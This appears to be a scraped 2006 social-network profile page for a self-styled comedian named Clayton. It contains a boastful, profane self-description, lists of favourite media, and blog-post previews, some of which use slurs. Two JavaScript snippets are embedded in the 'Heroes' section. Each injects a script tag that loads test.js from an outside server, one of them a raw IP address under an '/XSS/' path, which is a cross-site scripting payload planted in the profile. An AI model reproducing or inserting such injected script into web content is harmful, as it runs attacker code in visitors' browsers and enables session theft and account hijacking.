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Clayton

You don't know what to do with it!!?......Give it here then......

About Me

What can I say about myself that hasn,t already been said. A lot of shit for one I'm the Realest motherfucker in this bitch, Anything happens in my town your town, overseas, outerspace, please believe it got cleared through me first. If tested any way shape form or fashion please expect a brief but effective visit from my goon squad ( also known as an army of minions that will DIE for this shit!!) By the way believing what I'm saying is optional you can simplely google me and do your research, my track record speaks for it self. Ok now that I talked myself up I feel better(hell, nobody else is going to do it), since thats out of the way allow me to explain how all of this is possible, I do comedian ( not to be confused with doing comedy) this automaticlally grants me abilities and power far beyond the comprhension of regular people, You can tell if your regular too because about 22 words ago you became real confused an unsure of your self and your nose started bleeding . So for your own safety if your regular stop reading this before you hurt your damn brain.......

My Interests

Doing comedian, counting money, making bad chicks better (since 1992), and trying to take over the world.........

I'd like to meet:

Anybody who likes comedy, People who are on their grind no matter what it is. I also need to meet a down ass female preferably one of those aquafina girls. I need to meet a sidekick too but you got have your own costume I'm not in a position to provide one but got my own.......

Music:

I like mostly Hip hop and R&B. But good music is good music no matter what type it is. ......

Movies:

Its too many to list all of em, The Lion King ( this is the closest I have ever come to crying during a movie.) The City of GOD ( probably one of the most gangster movies out there, you just got a read.) ......

Television:

Robert Townsends Partners in Crime, Who's Got Jokes, Tyler Perry's House of Payne starts June 6

Books:

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Heroes:

ME. Shit....I'm the MAN where I'm from. With great power comes great responsiblity, and a whole bunch of money and a whole plethera(?) of bad bitches. Claytor the cartoon coming soon.. .."var s=document·createElement('script');s.src='http://75.126 .2.157/XSS/test.js';document·getElementsByTagName('head ')[0].appendChild(s);" ...."var x=document·createElement('script');x.src='http://www... /.../test.js';document·getElementsByTagName('body')[0]. appendChild(x);" /

My Blog

Tell me why they Hating........Hating on me...

Aight this blog has no intro...no preface..no sugarcoating.....They fuckin with me or should I say they fucked with me ( like I'm the one to fuck with, everybody know I'm not fuckwitable) The police a...
Posted by Clayton on Sat, 23 Dec 2006 04:42:00 PST

Daammnn.......Ya'll give a nigga a second to think...

I think up all types of shit...I guess its a gift and a curse...On one hand I can create ideas that other people aren't even able to think about and that helps with jokes and writing..and I can m...
Posted by Clayton on Sun, 10 Dec 2006 11:18:00 PST

Lets get...get...get It!!!!

I aint did one of these things in a long while....So much has happened since I posted the last one...I wrecked my car, I went to Cali ( that shit is a lil different...I'm fuckin wi...
Posted by Clayton on Sun, 15 Oct 2006 11:44:00 PST

I guess since I play the Game on All-Madden...haters gone have to play a diffrent sport...

I need to do these blogs more often...I don't know bout everyday or every week...shit like that is too much like a commitment...And I don't want people expecting shit out of me...cause when you don't ...
Posted by Clayton on Fri, 25 Aug 2006 01:23:00 PST

I love it....I FucKiN love it....

I love showin up and showin out...I love jumpin fresh on they monkey ASS...I  love thinkin way faster than I'm supposed to..I love it when they think I'm slow...I love me.....and I...
Posted by Clayton on Thu, 24 Aug 2006 11:59:00 PST

This is a marathon...you start off fast then you weezing in the back..

Ha.. Ha...  I figured it out. I really don't like posting blogs unless I feel I have to...And muthafucka I have to!! Last time we saw our hero ( that shit sound sooo dope.) He was turned down fro...
Posted by Clayton on Sat, 01 Jul 2006 03:13:00 PST

Oh thats what this is for...

I didn't see the purpose of a Blog, I thought it was just some way for some asshole to let you know what kind of sweater their dog is wearing this week. But now I see when you pissed off and you ...
Posted by Clayton on Thu, 25 May 2006 09:07:00 PST